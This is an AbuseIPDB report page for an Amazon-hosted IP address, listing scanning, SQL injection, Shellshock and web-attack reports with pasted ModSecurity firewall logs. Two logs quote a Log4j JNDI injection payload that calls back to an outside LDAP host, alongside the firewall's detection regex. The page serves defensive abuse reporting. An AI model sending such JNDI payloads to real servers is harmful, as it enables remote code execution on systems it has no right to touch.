JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 3.64.242.205

3.64.242.205 was found in our database!

This IP was reported 12 times. Confidence of Abuse is 0%: ?

ISP	A100 ROW GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS16509
Hostname(s)	ec2-3-64-242-205.eu-central-1.compute.amazonaws.com
Domain Name	amazon.com
Country	🇩🇪 Germany
City	Frankfurt am Main, Hesse

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 3.64.242.205

Whois 3.64.242.205

IP Abuse Reports for 3.64.242.205:

This IP address has been reported a total of 12 times from 6 distinct sources. 3.64.242.205 was first reported on January 14th 2022, and the most recent report was 4 months ago.

Old Reports: The most recent abuse report for this IP address is from 4 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 TPI-Abuse	2026-05-14 11:21:19 (4 months ago)	(mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.com ... show more (mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.compute.amazonaws.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu May 14 07:21:12.155284 2026] [security2:error] [pid 22557:tid 22557] [client 3.64.242.205:58235] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy\|\|www.mavikalem.org:443\|F\|2"] [data ".asa"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mavikalem.org"] [uri "/x3JJqwtz.asa"] [unique_id "agWwKKv4aeSTe00aRh8pCgAAACA"] show less	Brute-Force Bad Web Bot Web App Attack
🇫🇷 IRISIO	2025-12-19 19:08:58 (8 months ago)	scans/SQL injection/spam posts : 101 queries	SQL Injection Web App Attack
🇫🇷 IRISIO	2025-12-16 07:59:27 (9 months ago)	scans/SQL injection/spam posts : 84 queries	SQL Injection Web App Attack
🇺🇸 TPI-Abuse	2025-09-07 19:02:18 (1 year ago)	(mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.com ... show more (mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.compute.amazonaws.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Sep 07 15:02:13.253547 2025] [security2:error] [pid 12696:tid 12696] [client 3.64.242.205:42039] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy\|\|www.mavikalem.org:443\|F\|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mavikalem.org"] [uri "/d6NgDUcx.dat"] [unique_id "aL3WtZVBLO1BYus8vHPfGwAAAAA"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-04-22 11:03:50 (1 year ago)	(mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.com ... show more (mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.compute.amazonaws.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Apr 22 07:03:46.684189 2025] [security2:error] [pid 3385202:tid 3385202] [client 3.64.242.205:58721] [client 3.64.242.205] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy\|\|www.mavikalem.org:443\|F\|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mavikalem.org"] [uri "/7Tkztql8.db"] [unique_id "aAd3kpahrQWEqCbW8Vwu7QAAAAI"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2024-12-13 16:19:17 (1 year ago)	(mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.com ... show more (mod_security) mod_security (id:210730) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.compute.amazonaws.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Dec 13 11:19:11.182500 2024] [security2:error] [pid 28771:tid 28771] [client 3.64.242.205:47507] [client 3.64.242.205] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy\|\|www.mavikalem.org:443\|F\|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mavikalem.org"] [uri "/278Tci14.bak"] [unique_id "Z1xefx44noGB5BPND-d0AgAAAAM"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2024-07-27 16:27:13 (2 years ago)	(mod_security) mod_security (id:248270) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.com ... show more (mod_security) mod_security (id:248270) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.compute.amazonaws.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Jul 27 12:27:06.444129 2024] [security2:error] [pid 14701:tid 14701] [client 3.64.242.205:57273] [client 3.64.242.205] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?\|rmi\|dns\|iiop\|nis\|nds\|corba\|\\\\$\\\\{(?:lower\|upper)):" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j\|\|www.mavikalem.org\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.mavikalem.org"] [uri "/"] [unique_id "ZqUf2uoK1ITHJv0wTENEVQAAAAo"], referer: https://${jndi:ldap://127.0.0.1#Referer.${hostName}.0190f504-5a0e-13a9-842d-060634511732.shm2jlgriwmdnqjz.onlayer.com:1389/d8nyohv} show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2024-02-02 07:02:04 (2 years ago)	(mod_security) mod_security (id:248270) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.com ... show more (mod_security) mod_security (id:248270) triggered by 3.64.242.205 (ec2-3-64-242-205.eu-central-1.compute.amazonaws.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Feb 02 02:02:00.639455 2024] [security2:error] [pid 4246] [client 3.64.242.205:33447] [client 3.64.242.205] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?\|rmi\|dns\|iiop\|nis\|nds\|corba\|\\\\$\\\\{(?:lower\|upper)):" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j\|\|www.mavikalem.org\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.mavikalem.org"] [uri "/"] [unique_id "ZbyTaEnVgBZC7q6hmf-KbQAAAAQ"], referer: https://${jndi:ldap://Referer.${hostName}.018d689f-4aea-8afd-3676-d94f84c4b7f8.shm2jlgriwmdnqjz.onlayer.com/a62galp} show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2023-10-30 22:10:02 (2 years ago)	\| Shellshock attack detected	Hacking SQL Injection Web App Attack
🇿🇦 Birdflew	2022-12-20 21:05:33 (3 years ago)	Port scanning	Hacking
🇩🇪 Thomas Lewis	2022-12-20 12:37:40 (3 years ago)	Scanning for vulnerabilities	Hacking
🇬🇧 UKFast Security	2022-01-14 11:33:02 (4 years ago)	Shellshock attack detected	Web App Attack

Showing 1 to 12 of 12 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇩🇪 207.154.230.149

🇲🇽 187.199.21.151

🇮🇶 185.185.175.190

🇺🇦 176.110.103.89

🇮🇳 103.192.199.245

🇳🇴 87.120.104.79

🇺🇸 74.7.241.176

🇨🇦 34.152.48.13

🇨🇦 34.95.4.200

🇦🇺 34.40.155.119

🇺🇸 34.20.163.88

🇰🇷 183.104.70.23

🇪🇨 181.196.24.37

🇸🇬 152.32.218.149

🇮🇳 122.15.129.26

🇨🇳 106.12.128.30

🇰🇪 102.0.18.68

🇫🇷 91.231.89.250

🇩🇪 64.89.163.224

🇮🇶 37.239.69.17